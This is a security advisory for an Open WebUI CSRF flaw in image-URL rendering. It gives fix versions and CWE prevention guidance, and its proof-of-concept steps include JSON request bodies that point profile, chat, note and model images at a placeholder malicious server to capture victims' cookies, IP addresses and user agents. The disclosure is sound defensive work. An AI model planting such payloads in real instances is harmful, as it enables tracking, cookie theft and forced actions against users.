GHSA-j6w6-986j-2m2m CVE-2026-45317 PYSEC-2026-2738
Open WebUI Vulnerable to Cross-Site Request Forgery (CSRF) via Image URL Manipulation
- Severity
- 4.6 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.17%
- Chance of exploitation in the next 30 days. Higher than 5.68% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Fix
0.9.3- Upgrade open-webui to this version or later
Description
Summary
An application-wide Cross-Site Request Forgery (CSRF) vulnerability was found Open-WebUl's image uploading functionality. An attacker can set an image URL to a malicious endpoint, allowing them to perform actions on behalf of a victim user. Any authenticated user can exploit this vulnerability, and any user who views the compromised image (e.g., a profile picture) will unknowingly send a GET request to the attacker-controlled URL. This can lead to cookie theft, denial of service (DoS), or other malicious actions.
This can be exploited in various locations, including:
• Profile picture
• Model picture
• Hidden images in shared chats
• Images within shared notes
Details
Vulnerable Code:
This appears to occur in most locations where images can be uploaded/rendered. Here are found sinks:
Profile Image in chat
• Note: rendering profile picture in chat
Profile Picture edit
• Note: Profile picture rendering in edit
Profile Image Navbar
• Note: Profile picture rendering in navbar
Profile Image UserList
• Note: rendering images in user list admin panel
Images in chat
• Note: rendering images in chat
Image in chat
• Note: Image sent in chat
• Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/channel/Messages/Message.svelte#L192 Model image in chat
• Note: Model image rendering in chat
Model image in chat response
• Note: Model image rendering in the assistant response
Model Image Admin settings
• Note: Model image rendering in the admin settings
Model Image Workspace
• Note: Model image rendering in the workspace
Model Image Edit
• Note: Model image rendering in the edit modal
Image in Notes
• Note: Image rendering in shared note
Root Cause
- Insecure display of image
• Application is sending a GET request to the unvalidated image url
- Lack of Input Validation
• Image url is not validated for filetype
PoCs
PoC (profile picture)
Environment
• Open-WebUl latest version (v0.6.41)
• Valid user
Step 1: Create a Malicious Link
• Set up a server to obtain victim's cookies, ip, referer, user-agent, etc
Step 2: Profile Image URL
-
Add user
-
Change the profile image url parameter to the malicious URL (server was used for PoC)
-
Example POST request:
<img width="1245" height="484" alt="image" src="https://github.com/user-attachments/assets/295f0ab0-fe41-4d50-9c38-cb8c51a3bca2" />
-
Repeat action
- Repeat for userSignUp, updateUserProfile, and update
Step 3: View Image on Victim Admin Account
-
Log into an admin account
-
Visit the admin panel (/admin/users/overview)
-
Notice the GET request sent to the malicious URL
Step 4: Verify User Information Is Sent
- Confirm user information is sent
<img width="1280" height="677" alt="image" src="https://github.com/user-attachments/assets/cb2f4039-167f-43f4-bd37-ffaf4d476cee" />
PoC (chat)
Environment
• Open-WebUl latest version (v0.6.41)
• Valid user
Step 1: Create a Malicious Link
• Set up a server to obtain victim's cookies, ip, referer, use-agent, etc
Step 2: Start chat
-
Start chat
-
Send a message
-
Resend POST request
-
Resend post request to this endpoint /api/v1/chats/[chat_id_here]
-
Add in a file with type set to image and the url set to the malicious link
-
Replace models/ids/malicious_url_here with what is applicable
-
{"chat":{"models":["redacted"],"history":{"messages":{"id_here":{"id":"id_here","parentId":"id_here","childrenIds":["id_here"],"role":"user","content":"","files":[{"type":"image","url":"MALICIOUS_URL_HERE"}],"timestamp":1765978991,"models":["redacted"]}}},"params":{},"files":[]}}
<img width="646" height="593" alt="image" src="https://github.com/user-attachments/assets/1273fe2b-3b3b-45dc-9c52-6811f7b18667" />
-
Share chat
- Copy link to share the chat
Step 3: View Image on Victim Account
-
Log into a valid account
-
Open the shared chat
-
Notice the GET request sent to the malicious URL from the hidden image on the page
<img width="1384" height="500" alt="image" src="https://github.com/user-attachments/assets/bd6e220d-e039-4916-9865-5ce9f0939951" />
Step 4: Verify User Information Is Sent
- Confirm user information is sent
<img width="1480" height="797" alt="image" src="https://github.com/user-attachments/assets/78374c2e-d9c6-476b-944d-1c8230398989" />
PoC (notes)
Environment
• Open WebUI latest version (v0.6.41)
• Valid user with access to notes
Step 1: Create a Malicious Link
• Set up a server to obtain victim's cookies, ip, referer, use-agent, etc
Step 2: Create Note
-
Resend POST request to /api/v1/notes/[note_id_here]/update
-
Add in the malicious URL to a file
-
Example parameters
1. (replace the ID_HERE with valid ID and MALICIOUS_URL_HERE with the malicious URL):
{"title":"2025-12-17","data":{"files":[{"id":"ID_HERE","type":"image","url":"MALICIOUS_URL_HERE"}]},"access_control":{"read":{"group_ids":[],"user_ids":[]},"write":{"group_ids":[],"user_ids":[]}}}
<img width="892" height="662" alt="image" src="https://github.com/user-attachments/assets/325a9bfa-2fb3-45be-aeec-e5695085d7d0" />
-
Refresh page and notice the request being sent to the malicious URL
-
Share note and copy link
Step 5: View Note on Valid Account
-
Log into a valid account
-
Open the shared note
-
Notice the GET request sent to the malicious URL from the hidden image on the page
<img width="1597" height="317" alt="image" src="https://github.com/user-attachments/assets/767d865b-04a0-42b9-82fc-122acb9cbf16" />
Step 6: Verify User Information Is Sent
- Verify that user information is sent.
<img width="1997" height="860" alt="image" src="https://github.com/user-attachments/assets/b0ecab88-9830-4fb4-ac18-acda9eb44ff7" />
PoC (model)
Environment
• Open WebUI latest version (v0.6.41)
• Admin user
Step 1: Create a Malicious Link
• Set up a server to obtain victim's cookies, ip, referer, use-agent, etc
Step 2: Create Model
-
Navigate to /workspace/models
-
Create or edit a model
-
Send a POST request to /api/v1/models/create or /api/v1/models/model/update?id=[model_id]
-
Change the profile_image_url to the malicious link
-
Example parameters:
-
{"id":"model_test","base_model_id":"redacted","name":"MODEL_TEST","meta":{"profile_image_url":"MALICIOUS_URL_HERE","description":null,"suggestion_prompts":null,"tags":[],"capabilities":{"vision":true,"file_upload":true,"web_search":true,"image_generation":true,"code_interpreter":true,"citations":true,"usage":false}},"params":{},"access_control":null}<img width="887" height="618" alt="image" src="https://github.com/user-attachments/assets/749dac39-0b9d-4b7e-815d-fd6f3f7c57bd" />
Step 3: View Image on Valid Account
-
Log into a valid account
-
Create chat with the model
-
Notice a GET request is sent to the malicious url
-
All users starting a chat with that model will be vulnerable to the attack
<img width="1852" height="468" alt="image" src="https://github.com/user-attachments/assets/ff69c0a2-326d-4b99-9d8c-a73d9aa0deff" />
Step 4: View Image on Admin Account
-
Navigate to /workspace/models
-
Notice GET request sent to malicious url
<img width="1793" height="482" alt="image" src="https://github.com/user-attachments/assets/bda6e687-ccad-4914-a779-281dc67ffcfe" />
Step 5: Verify User Information Is Sent
- On the set up server verify that improperly set cookies are sent, IP, user-agent, etc.
<img width="1687" height="910" alt="image" src="https://github.com/user-attachments/assets/c783ad50-6701-4df8-8beb-ba0957baa2d9" />
Other Attack Examples
-
Alternative malicious links
-
Signout of Open WebUI
- /api/v1/auths/signout
-
Internal network endpoints
-
Signout of other applications
-
Resource intensive endpoints
-
Etc
Recommended Fix
-
Store images
- Instead of sending a GET request to load the image each time, store the image and render on the page
-
Validate input
- Image file types should be whitelisted (examples: .jpg, .png, .gif, .jpeg, etc)
Impact
Vulnerability Type
-
CWE-352: Cross-Site Request Forgery (CSRF)
-
CWE-20: Improper Input Validation
Affected users
- All authenticated users
The impact of this vulnerability is significant. This application-wide vulnerability allows an attacker to perform actions on behalf of any user who views the compromised image. This can be particularly damaging if an administrator or privileged user views the image, as it could lead to elevated access or sensitive data exposure.
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| open-webui | < 0.9.3 |
0.9.3 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
open-webui PyPI → 0.9.3
- pip
pip install --upgrade "open-webui>=0.9.3"- poetry
poetry add "open-webui>=0.9.3"- uv
uv add "open-webui>=0.9.3"
Severity breakdown
CVSS 3.1 4.6
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:L
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- Required
- Scope
- Unchanged
- Confidentiality
- Low
- Integrity
- None
- Availability
- Low
Weakness
CWE-20: Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
How to prevent it
- Architecture and Design: Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]
- Architecture and Design: Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).
- Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter the product, including but not limited to: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.
- Implementation: When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
- Implementation: Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.
- Implementation: Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
- Implementation: When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
CWE-352: Cross-Site Request Forgery (CSRF)
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330] Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
- Implementation: Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
- Architecture and Design: Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
- Architecture and Design: Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
- Architecture and Design: Use the "double-submitted cookie" method as described by Felten and Zeller: When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult. This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
- Architecture and Design: Do not use the GET method for any request that triggers a state change.
- Implementation: Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-wvm9-9g5j-623f Open WebUI: Users denied by the OAuth role policy can still sign in via token exchange | Medium | Also affects open-webui |
| GHSA-4qg5-cxx4-g927 Open WebUI: Users denied by the OAuth domain allowlist or role policy can still sign in via token exchange | Medium | Also affects open-webui |
| GHSA-jqhh-cjmq-vmv6 Open WebUI: Any authenticated user can hang the server via a cyclic chat message history | Medium | Also affects open-webui |
| GHSA-5x7x-4c3c-qf5w Open WebUI: Server-side fetches reach blocked and internal hosts via unvalidated HTTP redirect targets | Medium | Also affects open-webui |
| GHSA-3cgp-3cqx-j8w2 Open WebUI: Any authenticated user can hang the server via message deletion in a cyclic chat tree | Medium | Also affects open-webui |
| GHSA-34r3-9m95-vq73 Open WebUI: Any authenticated user can reach the Azure platform channel via server-side web fetch | High | Also affects open-webui |
| GHSA-2724-6cpj-gf3v Open WebUI: Non-admin users can delete admin-owned external knowledge connections via knowledge base deletion | High | Also affects open-webui |
| GHSA-3pf7-q2g3-wj28 Open WebUI: Any authenticated user can inject chats into another user's folder via chat completions | Medium | Also affects open-webui |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor